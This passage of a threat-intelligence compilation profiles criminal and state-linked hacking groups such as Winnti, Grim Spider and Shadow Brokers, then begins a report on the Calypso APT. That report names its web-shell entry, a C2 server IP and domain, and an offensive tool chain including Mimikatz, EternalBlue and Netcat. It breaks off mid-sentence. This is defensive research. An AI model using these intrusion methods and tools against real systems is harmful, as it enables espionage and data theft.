Group Cards: A Threat Actor Encyclopedia +Wild Neutron, Butterfly, Sphinx Moth +Names +Wild Neutron (Kaspersky) +Butterfly (Symantec) +Morpho (Symantec) +Sphinx Moth (Kudeslski) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Symantec) A corporate espionage group has compromised a string of major +corporations over the past three years in order to steal confidential information and +intellectual property. The gang, which Symantec calls Butterfly, is not-state +sponsored, rather financially motivated. It has attacked multi-billion dollar +companies operating in the internet, IT software, pharmaceutical, and commodities +sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who +have publicly acknowledged attacks. +Butterfly is technically proficient and well resourced. The group has developed a +suite of custom malware tools capable of attacking both Windows and Apple +computers, and appears to have used at least one zero-day vulnerability in its +attacks. It keeps a low profile and maintains good operational security. After +successfully compromising a target organization, it cleans up after itself before +moving on to its next target. +This group operates at a much higher level than the average cybercrime gang. It is +not interested in stealing credit card details or customer databases and is instead +focused on high-level corporate information. Butterfly may be selling this +information to the highest bidder or may be operating as hackers for hire. Stolen +information could also be used for insider-trading purposes. +Observed +Sectors: Bitcoin-related companies, Healthcare, Investment companies, IT, Real +estate, lawyers and individual users. +Countries: Algeria, Austria, Canada, France, Germany, Kazakhstan, Palestine, +Russia, Slovenia, Switzerland, UAE and USA. +Tools used +HesperBot, JripBot, WildNeutron and many 0-days vulnerabilities. +Operations +performed +Jan 2013 +Attack on Twitter + +Feb 2013 +Attack on Facebook + +Feb 2013 +Attack on Apple + +Feb 2013 +Attack on Microsoft + +Information + +Threat Group Cards: A Threat Actor Encyclopedia + + +Threat Group Cards: A Threat Actor Encyclopedia +Winnti Group, Blackfly, Wicked Panda +Names +Winnti Group (Kaspersky) +Blackfly (Symantec) +Wicked Panda (CrowdStrike) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Winnti Group is a threat group with Chinese origins that has been active since at +least 2010. The group has heavily targeted the gaming industry, but it has also +expanded the scope of its targeting. Some reporting suggests a number of other +groups, including Axiom, Group 72, APT 17, Deputy Dog, and Ke3chang, Vixen +Panda, APT 15, GREF, Playful Dragon, are closely linked to Winnti Group. +(Trend Micro) The group behind the Winnti malware (which we will call the Winnti +group for brevity) sprung up as a band of traditional cyber crooks, comprising black +hats whose technical skills were employed to perpetrate financial fraud. Based on +the use of domain names they registered, the group started out in the business of +fake/rogue anti-virus products in 2007. In 2009, the Winnti group shifted to targeting +gaming companies in South Korea using a self-named data- and file-stealing +malware. +The group, which was primarily motivated by profit, is noted for utilizing selfdeveloped technically-proficient tools for their attacks. They once attacked a game +server to illicitly farm in-game currency ( +gaming gold +, which also has real-world +value) and stole source codes of online game projects. The group also engaged in +the theft of digital certificates which they then used to sign their malware to make +them stealthier. The Winnti group diversified its targets to include enterprises such +as those in pharmaceutics and telecommunications. The group has since earned +infamy for being involved in malicious activities associated with targeted attacks, +such as deploying spear-phishing campaigns and building a backdoor. +Observed +Sectors: Online video game companies, Pharmaceutical and Telecommunications. +Countries: Belarus, Brazil, China, Germany, India, Indonesia, Japan, Peru, +Philippines, Russia, South Korea, Taiwan, Thailand, USA and Vietnam. +Tools used +Cobalt Strike and Winnti. +Operations +performed +2010 +HBGary investigated an information security incident at an American +video game company. +2011 +In the autumn of 2011, a Trojan was detected on a huge number of +computers + all of them linked by the fact that they were used by +players of a popular online game. It emerged that the piece of +malware landed on users + computers as part of a regular update from +the game +s official update server. Some even suspected that the +publisher itself was spying on players. However, it later became clear +that the malicious program ended up on the users + computers by +mistake: the cybercriminals were in fact targeting the companies that +develop and release computer games. + +Threat Group Cards: A Threat Actor Encyclopedia +Aug 2014 +This time the operators put such tag in the configuration and it turned +out to be the name of the well-known global pharmaceutical company +headquartered in Europe. + +Oct 2015 +Breach of a Vietnamese gaming company + +During the investigation, a Linux version of Winnti was found. + +Feb 2016 +Breach of German Steelmaker ThyssenKrupp + +Autumn +2016 +Breach of TeamViewer + +Mar 2017 +Recently, the Winnti group, a threat actor with a past of traditional +cybercrime -particularly with financial fraud, has been seen abusing +GitHub by turning it into a conduit for the command and control (C&C) +communications of their seemingly new backdoor (detected by Trend +Micro as BKDR64_WINNTI.ONM). + +Early +2018 +Breach of German chemicals giant Bayer + +Mar 2019 +Although the malware uses different configurations in each case, the +three affected software products included the same backdoor code +and were launched using the same mechanism. While two of the +compromised products no longer include the backdoor, one of the +affected developers is still distributing the trojanized version: ironically, +the game is named Infestation, and is produced by Thai developer +Electronics Extreme. + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +WindShift +Names +WindShift (DarkMatter) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Palo Alto) In August of 2018, DarkMatter released a report entitled +In the Trails of +WindShift APT +, which unveiled a threat actor with TTPs very similar to those of +Bahamut. Subsequently, two additional articles were released by Objective-See +which provide an analysis of some validated WindShift samples targeting OSX +systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 +was able to identify and correlate additional attacker activity and can now provide +specific details on a targeted WindShift attack as it unfolded at a Middle Eastern +government agency. +Observed +Sectors: Government. +Countries: Middle East. +Tools used +WindTail. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +[Unnamed group] +Names +[Unnamed group] +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(ClearSky) Over the last few weeks, several significant leaks regarding a number of +Iranian APTs took place. After analyzing and investigating the documents we +conclude that they are authentic. Consequently, this causes considerable harm to +the groups and their operation. The identity of the actor behind the leak is currently +unknown, however based on the scope and the quality of the exposed documents +and information, it appears that they are professional and highly capable. This leak +will likely hamstring the groups' operation in the near future. Accordingly, in our +assessment this will minimize the risk of potential attacks in the next few months +and possibly even year. Note -most of the leaks are posted on Telegram channels +that were created specifically for this purpose. +Below are the three main Telegram groups on which the leaks were posted: +Observed +Lab Dookhtegam pseudonym ("The people whose lips are stitched and sealed" +translation from Persian) +In this channel attack tools attributed to the group +'OilRig' were leaked; including a webshell that was inserted into the Technion, +various tools that were used for DNS attacks, and more. +Green Leakers +In this channel attack tools attributed to the group +'MuddyWatter' were leaked. The group's name and its symbol are identified +with the "green movement", which led the protests in Iran after the Presidential +elections in 2009. These protests were heavily repressed by the revolutionary +guards (IRGC) +Black Box +Unlike the previous two channels this has been around for a long +time. On Friday May 5th, dozens of confidential documents labeled as "secret" +(a high confidentiality level in Iran, one before the highest -top secret) were +posted on this channel. The documents were related to Iranian attack groups' +activity. +Sectors: Airlines, Government, IT and Telecommunications. +Countries: Afghanistan, Australia, Azerbaijan, Bahrain, Colombia, Dubai, Egypt, +Ethiopia, Fiji, Hong Kong, India, Indonesia, Iraq, Israel, Kenia, Kuwait, Kyrgyzstan, +Lebanon, Malaysia, Mauritius, Morocco, New Zealand, Oman, Pakistan, +Philippines, Qatar, South Africa, Sri Lanka, Syria, Thailand, Turkey and UAE. +Tools used +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Some Other Prolific Criminal Groups +Achilles +Names +Achilles (AdvIntel) +Country +[Unknown] +Motivation +Financial gain +Description +This actor may be related to +Iridium. +(AdvIntel) +Achilles + is an English-speaking threat actor primarily operating on +various English-language underground hacking forums as well as through secure +messengers. Achilles specializes in obtaining accesses to high-value corporate +internal networks. +On May 4, 2019, Achilles claimed to have access to UNICEF network as well as +networks of several high-profile corporate entities. They were able to provide +evidence of their presence within the UNICEF network and two private sector +companies. It is noteworthy that they provided access to networks at a relatively low +price range of $5,000 USD to $2,000 USD. +The majority of Achilles offers are related to breaches into multinational corporate +networks via external VPN and compromised RDPs. Targets include private +companies and government organizations, primarily in the British Commonwealth. +Achilles has been particularly active on forums through the last seven months, with +rising spikes in activities in Fall 2018 and Spring 2019. +Observed +Sectors: Defense, Government and private sectors. +Countries: Australia, UK and USA. +Tools used +RDP. +Operations +performed +Oct 2018 +Information + + +Breach of Navy shipbuilder Austal + +Threat Group Cards: A Threat Actor Encyclopedia +Dungeon Spider +Names +Dungeon Spider (CrowdStrike) +Country +[Unknown] +Motivation +Financial gain +Description +(CrowdStrike) Dungeon Spider is a criminal group operating the ransomware most +commonly known as Locky, which has been active since February 2016 and was +last observed in late 2017. Locky is a ransomware tool that encrypts files using a +combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and +AES with a key size of 128 bits. Locky targets a large number of file extensions and +is able to encrypt data on shared network drives. In an attempt to further impact +victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies +on the machine. +Dungeon Spider primarily relies on broad spam campaigns with malicious +attachments for distribution. Locky is the community/industry name associated with +this actor. +Observed +Tools used +Locky. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Fxmsp +Names +Fxmsp (self given) +Country +Russia +Motivation +Financial gain +Description +(AdvIntel) Throughout 2017 and 2018, Fxmsp established a network of trusted +proxy resellers to promote their breaches on the criminal underground. Some of the +known Fxmsp TTPs included accessing network environments via externally +available remote desktop protocol (RDP) servers and exposed active directory. +Most recently, the actor claimed to have developed a credential-stealing botnet +capable of infecting high-profile targets in order to exfiltrate sensitive usernames +and passwords. Fxmsp has claimed that developing this botnet and improving its +capabilities for stealing information from secured systems is their main goal. +Observed +Tools used +RDP and exposed AD. +Operations +performed +May 2019 +Information + +Breaches of Three Major Anti-Virus Companies + +Threat Group Cards: A Threat Actor Encyclopedia +Gnosticplayers +Names +Gnosticplayers (self given) +Country +[Unknown] +Motivation +Financial gain +Description +(ZDNet) The hacker said that he put up the data for sale mainly because these +companies had failed to protect passwords with strong encryption algorithms like +bcrypt. +Most of the hashed passwords the hacker put up for sale today can cracked with +various levels of difficulty --but they can be cracked. +"I got upset because I feel no one is learning," the hacker told ZDNet in an online +chat earlier today. "I just felt upset at this particular moment, because seeing this +lack of security in 2019 is making me angry." +In a conversation with ZDNet last month, the hacker told us he wanted to hack and +put up for sale more than one billion records and then retire and disappear with the +money. +But in a conversation today, the hacker says this is not his target anymore, as he +learned that other hackers have already achieved the same goal before him. +Gnosticplayers also revealed that not all the data he obtained from hacked +companies had been put up for sale. Some companies gave into extortion demands +and paid fees so breaches would remain private. +"I came to an agreement with some companies, but the concerned startups won't +see their data for sale," he said. "I did it that's why I can't publish the rest of my +databases or even name them." +Observed +Tools used +Operations +performed +Feb 2019 +620 million accounts stolen from 16 hacked websites now for sale on +dark web, seller boasts + +Feb 2019 +127 million user records from 8 companies put up for sale on the dark + +Feb 2019 +Hacker is selling 93 million user records from eight companies, +including GfyCat. + +Mar 2019 +Round 4: Hacker returns and puts 26Mil user records for sale on the +Dark Web + +Threat Group Cards: A Threat Actor Encyclopedia +Apr 2019 +Hacker Gnosticplayers has stolen over 932 million user records from +44 companies + +May 2019 +Australian tech unicorn Canva suffers security breach + +Threat Group Cards: A Threat Actor Encyclopedia +Gold Lowell, Boss Spider +Names +Gold Lowell (SecureWorks) +Boss Spider (CrowdStrike) +Country +Iran +Motivation +Financial gain +Description +(SecureWorks) In late 2015, Secureworks Counter Threat Unit (CTU) researchers +began tracking financially motivated campaigns leveraging SamSam ransomware +(also known as Samas and SamsamCrypt). CTU researchers associate this activity +with the Gold Lowell threat group. Gold Lowell typically scans for and exploits +known vulnerabilities in Internet-facing systems to gain an initial foothold in a +victim +s network. The threat actors then deploy the SamSam ransomware and +demand payment to decrypt the victim +s files. The consistent tools and behaviors +associated with SamSam intrusions since 2015 suggest that Gold Lowell is either a +defined group or a collection of closely affiliated threat actors. Applying security +updates in a timely manner and regularly monitoring for anomalous behaviors on +Internet-facing systems are effective defenses against these tactics. Organizations +should also create and test response plans for ransomware incidents and use +backup solutions that are resilient to corruption or encryption attempts. +Observed +Sectors: Government and Healthcare. +Tools used +Mimikatz, PSExec and SamSam. +Counter +operations +Information + + +Two Iranian Men Indicted for Deploying Ransomware to Extort Hospitals, +Municipalities, and Public Institutions, Causing Over $30 Million in Losses +(2018) + +Threat Group Cards: A Threat Actor Encyclopedia +Grim Spider +Names +Grim Spider (CrowdStrike) +TEMP.MixMaster (FireEye) +Country +Russia +Motivation +Financial gain +Description +Grim Spider is reportedly associated with Lunar Spider and Wizard Spider. +(CrowdStrike) Grim Spider is a sophisticated eCrime group that has been operating +the Ryuk ransomware since August 2018, targeting large organizations for a highransom return. This methodology, known as +big game hunting, + signals a shift in +operations for Wizard Spider, a criminal enterprise of which Grim Spider appears to +be a cell. The Wizard Spider threat group, known as the Russia-based operator of +the TrickBot banking malware, had focused primarily on wire fraud in the past. +Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise +environments. Code comparison between versions of Ryuk and Hermes +ransomware indicates that Ryuk was derived from the Hermes source code and +has been under steady development since its release. Hermes is commodity +ransomware that has been observed for sale on forums and used by multiple threat +actors. However, Ryuk is only used by Grim Spider and, unlike Hermes, Ryuk has +only been used to target enterprise environments. Since Ryuk +s appearance in +August, the threat actors operating it have netted over 705.80 BTC across 52 +transactions for a total current value of $3,701,893.98 USD. +Observed +Tools used +Ryuk. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Hacking Team +Names +Hacking Team (real name) +Country +Italy +Motivation +Financial gain +Description +The many 0-days that had been collected by Hacking Team and which became +publicly available during the breach of their organization in 2015, have been used +by several APT groups since. +(ESET) Since being founded in 2003, the Italian spyware vendor Hacking Team +gained notoriety for selling surveillance tools to governments and their agencies +across the world. +The capabilities of its flagship product, the Remote Control System (RCS), include +extracting files from a targeted device, intercepting emails and instant messaging, +as well as remotely activating a device +s webcam and microphone. The company +has been criticized for selling these capabilities to authoritarian governments +allegation it has consistently denied. +When the tables turned in July 2015, with Hacking Team itself suffering a damaging +hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB +of internal data + including the once-secret list of customers, internal +communications, and spyware source code + leaked online, Hacking Team was +forced to request its customers to suspend all use of RCS, and was left facing an +uncertain future. +Following the hack, the security community has been keeping a close eye on the +company +s efforts to get back on its feet. The first reports suggesting Hacking +Team +s resumed operations came six months later + a new sample of Hacking +Team +s Mac spyware was apparently in the wild. A year after the breach, an +investment by a company named Tablem Limited brought changes to Hacking +Team +s shareholder structure, with Tablem Limited taking 20% of Hacking Team +shareholding. Tablem Limited is officially based in Cyprus; however, recent news +suggests it has ties to Saudi Arabia. +Observed +Tools used +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Indrik Spider +Names +Indrik Spider (CrowdStrike) +Country +[Unknown] +Motivation +Financial gain +Description +(CrowdStrike) Indrik Spider is a sophisticated eCrime group that has been operating +Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific +eCrime banking trojans on the market and, since 2014, those efforts are thought to +have netted Indrik Spider millions of dollars in criminal profits. Throughout its years +of operation, Dridex has received multiple updates with new modules developed +and new anti-analysis features added to the malware. +In August 2017, a new ransomware variant identified as BitPaymer was reported to +have ransomed the U.K. +s National Health Service (NHS), with a high ransom +demand of 53 BTC (approximately $200,000 USD). The targeting of an +organization rather than individuals, and the high ransom demands, made +BitPaymer stand out from other contemporary ransomware at the time. Though the +encryption and ransom functionality of BitPaymer was not technically sophisticated, +the malware contained multiple anti-analysis features that overlapped with Dridex. +Later technical analysis of BitPaymer indicated that it had been developed by Indrik +Spider, suggesting the group had expanded its criminal operation to include +ransomware as a monetization strategy. +Observed +Tools used +Dridex and BitPaymer. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Lunar Spider +Names +Lunar Spider (CrowdStrike) +Country +Russia +Motivation +Financial gain +Description +Lunar Spider is reportedly associated with Grim Spider and Wizard Spider. +(CrowdStrike) On March 17, 2019, CrowdStrike Intelligence observed the use of a +new BokBot (developed and operated by Lunar Spider) proxy module in +conjunction with TrickBot (developed and operated by Wizard Spider), which may +provide Wizard Spider with additional tools to steal sensitive information and +conduct fraudulent wire transfers. This activity also provides further evidence to +support the existence of a flourishing relationship between these two actors. +Observed +Tools used +BokBot and Vawtrak. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Mummy Spider, TA542 +Names +Mummy Spider (CrowdStrike) +TA542 (Proofpoint) +Country +[Unknown] +Motivation +Financial gain +Description +(Crowdstrike) Mummy Spider is a criminal entity linked to the core development of +the malware most commonly known as Emotet or Geodo. First observed in mid2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. +However, Mummy Spider swiftly developed the malware +s capabilities to include an +RSA key exchange for command and control (C2) communication and a modular +architecture. +Mummy Spider does not follow typical criminal behavioral patterns. In particular, +Mummy Spider usually conducts attacks for a few months before ceasing +operations for a period of between three and 12 months, before returning with a +new variant or version. +After a 10 month hiatus, Mummy Spider returned Emotet to operation in December +2016 but the latest variant is not deploying a banking Trojan module with web +injects, it is currently acting as a +loader + delivering other malware packages. The +primary modules perform reconnaissance on victim machines, drop freeware tools +for credential collection from web browsers and mail clients and a spam plugin for +self-propagation. The malware is also issuing commands to download and execute +other malware families such as the banking Trojans Dridex and Qakbot. +Mummy Spider advertised Emotet on underground forums until 2015, at which time +it became private. Therefore, it is highly likely that Emotet is operated solely for use +by Mummy Spider or with a small trusted group of customers. +Observed +Sectors: Energy, Financial, Government, Healthcare, Manufacturing, Shipping and +Logistics, Utilities and Technology. +Countries: Canada and USA. +Tools used +Emotet and Geodo. +Operations +performed +2019 +Information + +Between January 1, 2019, to May 1, 2019, threat actors conducted +thousands of malicious email campaigns, hundreds of which were +sent to Canadian organizations. While discussions of threats in this +region often focus on +North America + generally or just the United +States, nearly 100 campaigns during this period were either +specifically targeted at Canadian organizations or were customized for +Canadian audiences. + +Threat Group Cards: A Threat Actor Encyclopedia +Operation Comando +Names +Operation Comando (Palo Alto) +Country +[Unknown] +Motivation +Financial gain +Description +(Palo Alto) In December 2018, Palo Alto Networks Unit 42 researchers identified an +ongoing campaign with a strong focus on the hospitality sector, specifically on hotel +reservations. Although our initial analysis didn +t show any novel or advanced +techniques, we did observe strong persistence during the campaign that triggered +our curiosity. +We followed network traces and pivoted on the information left behind by this actor, +such as open directories, document metadata, and binary peculiarities, which +enabled us to find a custom-made piece of malware, that we named +CapturaTela +Our discovery of this malware family shows the reason for the persistent focus on +hotel reservations as a primary vector: stealing credit card information from +customers. +We profiled this threat actor and that has resulted in uncovering not only their +delivery mechanisms, but also their arsenal of remote access tools and info-stealing +trojans, both acquired from underground forums as well as open source tools found +in GitHub repositories. +Observed +Sectors: Hospitality, specifically on hotel reservations. +Countries: Brazil. +Tools used +CapturaTela. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +OurMine +Names +OurMine (real name) +Country +Saudi Arabia +Motivation +Financial gain +Description +OurMine is known for celebrity internet accounts, often causing cyber vandalism, to +advertise their commercial services. +(Trend Micro) In light of the recent report detailing its willingness to pay +US$250,000 in exchange for the 1.5 terabytes + worth of data swiped by hackers +from its servers, HBO finds itself dealing with yet another security breach. +Known for hijacking prominent social media accounts, the self-styled white hat +hacking group OurMine took over a number of verified Twitter and Facebook +accounts belonging to the cable network. These include accounts for HBO shows, +such as +Game of Thrones, +Girls, + and +Ballers. +This is not the first time that OurMine has claimed responsibility for hacking highprofile social networking accounts. Last year, the group victimized Marvel, The New +York Times, and even the heads of some of the biggest technology companies in +the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek + the +CEOs of Facebook, Twitter, Google and Spotify, respectively + have also fallen +victim to the hackers, dispelling the notion that a career in software and technology +exempts one from being compromised. +Observed +Tools used +Operations +performed +Information +Aug 2017 +Breach of VEVO +Vevo, the joint venture between Universal Music Group, Sony Music +Entertainment, Abu Dhabi Media, Warner Music Group, and Alphabet +Inc. (Google +s parent company), was just hacked. Roughly 3.12TB +worth of internal files have been posted online, and a couple of the +documents reviewed by Gizmodo appear sensitive. + +Sep 2017 +Breach of DNS records of WikiLeaks + + + +Threat Group Cards: A Threat Actor Encyclopedia +Pacha Group +Names +Pacha Group (Intezer) +Country +China +Motivation +Financial gain +Description +(Intezer) Antd is a miner found in the wild on September 18, 2018. Recently we +discovered that the authors from Antd are actively delivering newer campaigns +deploying a broad number of components, most of them completely undetected and +operating within compromised third party Linux servers. Furthermore, we have +observed that some of the techniques implemented by this group are +unconventional, and there is an element of sophistication to them. We believe the +authors behind this malware are from Chinese origin. We have labeled the +undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as +Pacha Group. +Observed +Tools used +Antd, DDG, GreedyAntd, Korkerds and XMRig. +Operations +performed +Sep 2018 +Intezer has evidence dating back to September 2018 which shows +Pacha Group has been using a cryptomining malware that has gone +undetected on other engines. + +May 2019 +Pacha Group Competing against Rocke Group for Cryptocurrency +Mining Foothold on the Cloud + +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Pinchy Spider +Names +Pinchy Spider (CrowdStrike) +Country +Russia +Motivation +Financial gain +Description +(CrowdStrike) CrowdStrike Intelligence has recently observed Pinchy Spider +affiliates deploying GandCrab ransomware in enterprise environments, using lateral +movement techniques and tooling commonly associated with nation-state +adversary groups and penetration testing teams. This change in tactics makes +Pinchy Spider and its affiliates the latest eCrime adversaries to join the growing +trend of targeted, low-volume/high-return ransomware deployments known as +game hunting. +Pinchy Spider is the criminal group behind the development of the ransomware +most commonly known as GandCrab, which has been active since January 2018. +Pinchy Spider sells access to use GandCrab ransomware under a partnership +program with a limited number of accounts. The program is operated with a 60-40 +split in profits (60 percent to the customer), as is common among eCrime actors, +but Pinchy Spider is also willing to negotiate up to a 70-30 split for +sophisticated +customers. +Observed +Tools used +GandCrab. +Operations +performed +Jun 2019 +Information + +Yesterday night, a source in the malware community has told ZDNet +that the GandCrab RaaS operator formally announced plans to shut +down their service within a month. +The announcement was made in an official thread on a well-known +hacking forum, where the GandCrab RaaS has advertised its service +since January 2018, when it formally launched. + +Threat Group Cards: A Threat Actor Encyclopedia +Rocke +Names +Rocke (Talos) +Country +China +Motivation +Financial gain +Description +(Talos) This threat actor initially came to our attention in April 2018, leveraging both +Western and Chinese Git repositories to deliver malware to honeypot systems +vulnerable to an Apache Struts vulnerability. +In late July, we became aware that the same actor was engaged in another similar +campaign. Through our investigation into this new campaign, we were able to +uncover more details about the actor. +Observed +Tools used +Apache Struts and Xbash. +Operations +performed +Jan 2019 +Palo Alto Networks Unit 42 recently captured and investigated new +samples of the Linux coin mining malware used by the Rocke group. +The family was suspected to be developed by the Iron cybercrime +group and it +s also associated with the Xbash malware we reported on +in September of 2018. The threat actor Rocke was originally revealed +by Talos in August of 2018 and many remarkable behaviors were +disclosed in their blog post. The samples described in this report were +collected in October of 2018, and since that time the command and +control servers they use have been shut down. + +May 2019 +Pacha Group Competing against Rocke Group for Cryptocurrency +Mining Foothold on the Cloud + +May 2019 +Over the past month we have seen new features constantly being +added to the malware. For instance, in their latest major update, they +have added a function that exploits systems running the software +development automation server Jenkins to increase their chance of +infecting more systems, thereby generating more profits. In addition, +they have also evolved their malware by adding new attack stages, as +well as new redundancies in its multi-component execution to make it +more dynamic and flexible. + +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Shadow Brokers +Names +Shadow Brokers (self given) +Country +Motivation +Financial gain +Description +Breached a server where zero-days accumulated by Equation Group were held, +leaked a large section on the internet9 and tried to sell the rest afterward. Most of +the published vulnerabilities have since been fixed by the respective vendors, but +many have been used by other threat actors. Most notably among the dumps were +zero-days such as ETERNALBLUE that were used for the creation of infamous +ransomware explosions such as WannaCry and NotPetya. +Shadow Brokers turned out to be an ex-NSA contractor. +Observed +Tools used +Operations +performed +Aug 2016 +Initial public dump + +Oct 2016 +Shadow Brokers + Whine That Nobody Is Buying Their Hacked NSA +Files + +Oct 2016 +Second Shadow Brokers dump released + +Mar 2017 +In March 2017, the ShadowBrokers published a chunk of stolen data +that included two frameworks: DanderSpritz and FuzzBunch. + +Apr 2017 +Shadow Brokers leaks show U.S. spies successfully hacked Russian, +Iranian targets + +Apr 2017 +New NSA leak may expose its bank spying, Windows exploits + +Apr 2017 +ShadowBrokers Dump More Equation Group Hacks, Auction File +Password + +Sep 2017 +ShadowBrokers are back demanding nearly $4m and offering 2 +dumps per month + +Sep 2017 +ShadowBrokers Release UNITEDRAKE Malware +9 See ThaiCERT Whitepaper +Shadow Broker - Equation Group Hack +Threat Group Cards: A Threat Actor Encyclopedia + +Counter +operations +Who Was the NSA Contractor Arrested for Leaking the +Shadow Brokers +Hacking Tools? (2017) + +Threat Group Cards: A Threat Actor Encyclopedia +[Vault 7/8] +Names +[Vault 7/8] +Country +Motivation +Financial gain +Description +An unnamed source leaked almost 10,000 documents describing a large number of +0-day vulnerabilities, methodologies and tools that had been collected by the CIA, +such as, specifically, the group known as Longhorn, The Lamberts. This leaking +was done through WikiLeaks, since March 2017. In weekly publications, the dumps +were said to come from Vault 7 and later Vault 8, until his arrest in 2018. +Most of the published vulnerabilities have since been fixed by the respective +vendors, but many have been used by other threat actors. +This actor turned out to be a former CIA software engineer. +(WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of +leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, +it is the largest ever publication of confidential documents on the agency. +The first full part of the series, "Year Zero", comprises 8,761 documents and files +from an isolated, high-security network situated inside the CIA's Center for Cyber +Intelligence in Langley, Virgina. It follows an introductory disclosure last month of +CIA targeting French political parties and candidates in the lead up to the 2012 +presidential election. +Recently, the CIA lost control of the majority of its hacking arsenal including +malware, viruses, trojans, weaponized "zero day" exploits, malware remote control +systems and associated documentation. This extraordinary collection, which +amounts to more than several hundred million lines of code, gives its possessor the +entire hacking capacity of the CIA. The archive appears to have been circulated +among former U.S. government hackers and contractors in an unauthorized +manner, one of whom has provided WikiLeaks with portions of the archive. +"Year Zero" introduces the scope and direction of the CIA's global covert hacking +program, its malware arsenal and dozens of "zero day" weaponized exploits against +a wide range of U.S. and European company products, include Apple's iPhone, +Google's Android and Microsoft's Windows and even Samsung TVs, which are +turned into covert microphones. +Observed +Tools used +Counter +operations +Information + and all updates. +Joshua Adam Schulte Charged with the Unauthorized Disclosure of Classified +Information and Other Offenses Relating to the Theft of Classified Material from +the Central Intelligence Agency (2018) + +Threat Group Cards: A Threat Actor Encyclopedia +Wizard Spider +Names +Wizard Spider (CrowdStrike) +Country +Russia +Motivation +Financial gain +Description +Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. +(Crowdstrike) The Wizard Spider threat group is the Russia-based operator of the +TrickBot banking malware. This group represents a growing criminal enterprise of +which Grim Spider appears to be a subset. The Lunar Spider threat group is the +Eastern European-based operator and developer of the commodity banking +malware called BokBot (aka IcedID), which was first observed in April 2017. The +BokBot malware provides Lunar Spider affiliates with a variety of capabilities to +enable credential theft and wire fraud, through the use of webinjects and a malware +distribution function. +Observed +Tools used +Dyre and TrickBot. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Zombie Spider +Names +Zombie Spider (CrowdStrike) +Country +Russia +Motivation +Financial gain +Description +(CrowdStrike) The primary threat actor, who was tracked by CrowdStrike as Zombie +Spider, rose to prominence in the criminal underground under the moniker Peter +Severa. The individual behind this handle is Peter Yuryevich LEVASHOV who was +arrested in Spain when the final version of Kelihos was taken over in April 2017, +and who recently pleaded guilty to operating the botnet for criminal purposes. +For several years, pump-and-dump stock scams, dating ruses, credential phishing, +money mule recruitment and rogue online pharmacy advertisements were the most +common spam themes. In 2017, however, Kelihos was frequently used to spread +other malware such as LuminosityLink, Zyklon HTTP, Neutrino, Nymaim, +Gozi/ISFB, Panda Zeus, Kronos, and TrickBot. It was also observed spreading +ransomware families including Shade, Cerber, and FileCrypt2. +Observed +Countries: Worldwide. +Tools used +Kelihos. +Counter +operations +Information + + +Justice Department Announces Actions to Dismantle Kelihos Botnet (2017) + +Threat Group Cards: A Threat Actor Encyclopedia +APPENDIX: Sources Used +The following sources have been used to compile this encyclopedia: +1. MISP Threat Actors galaxy + +2. MITRE ATT&CK Framework + Groups + +3. APT Groups and Operations + +4. Malpedia + +5. ThaiCERT Risk Intelligence archive and extensive searches on the Internet. +Threat Group Cards: A Threat Actor Encyclopedia +Calypso APT +2019 +ptsecurity.com +Contents +Calypso APT +Initial infection vector +Lateral movement +Attribution +Analyzing Calypso RAT malicious code +Dropper +Installation BAT script +Shellcode x86: stager +Modules +Commands +Network code +Shellcode x64: stager (base backdoor) +Modules +Commands +Network code +Other options +Dropper-stager +Hussar +Initialization +Modules +FlyingDutchman +Conclusion +Indicators of compromise +Network +File indicators +Droppers and payload +Droppers with the same payload +Payload without dropper +Hussar +FlyingDutchman +MITRE ATT&CK +Calypso APT +The PT Expert Security Center first took note of Calypso in +March 2019 during threat hunting. Our specialists collected +multiple samples of malware used by the group. They have +also identified the organizations hit by the attackers, as well +as the attackers' C2 servers. +Our data indicates that the group has been active since at +least September 2016. The primary goal of the group is theft +of confidential data. Main targets are governmental institutions in Brazil, India, Kazakhstan, Russia, Thailand, and Turkey. +Our data gives reason to believe that the APT group is of +Asian origin.1 +See the section "Attribution." +Initial infection vector +The attackers accessed the internal network of a compromised organization by using an ASPX +web shell. They uploaded the web shell by exploiting a vulnerability or, alternately, guessing +default credentials for remote access. We managed to obtain live traffic between the attackers +and the web shell. +Figure 1. Part of the recorded traffic +The traffic indicates the attackers connected from IP address 46.166.129.241. That host contains +domain tv.teldcomtv.com, the C2 server for the group's trojan. Therefore the hackers use C2 +servers not only to control malware, but also to access hosts on compromised infrastructures. +The attackers used the web shell to upload utilities1 and malware, 2 execute commands, and distribute malware inside the network. Examples of commands from the traffic are demonstrated in +the following screenshot. +Figure 2. Commands sent to the web shell +See the section "Lateral movement." +See the section "Analyzing Calypso RAT malicious code." +Lateral movement +The group performed lateral movement by using the following publicly available utilities and +exploits: +SysInternals +Nbtscan +EarthWorm +Mimikatz +OS_Check_445 +WmiExec +ZXPortMap +DoublePulsar +TCP Port Scanner +EternalBlue +Netcat +EternalRomance +QuarksPwDump +On compromised computers, the group stored malware and utilities in either C:\RECYCLER or +C:\ProgramData. The first option was used only on computers with Windows XP or Windows +Server 2003 with NTFS on drive C. +The attackers spread within the network either by exploiting 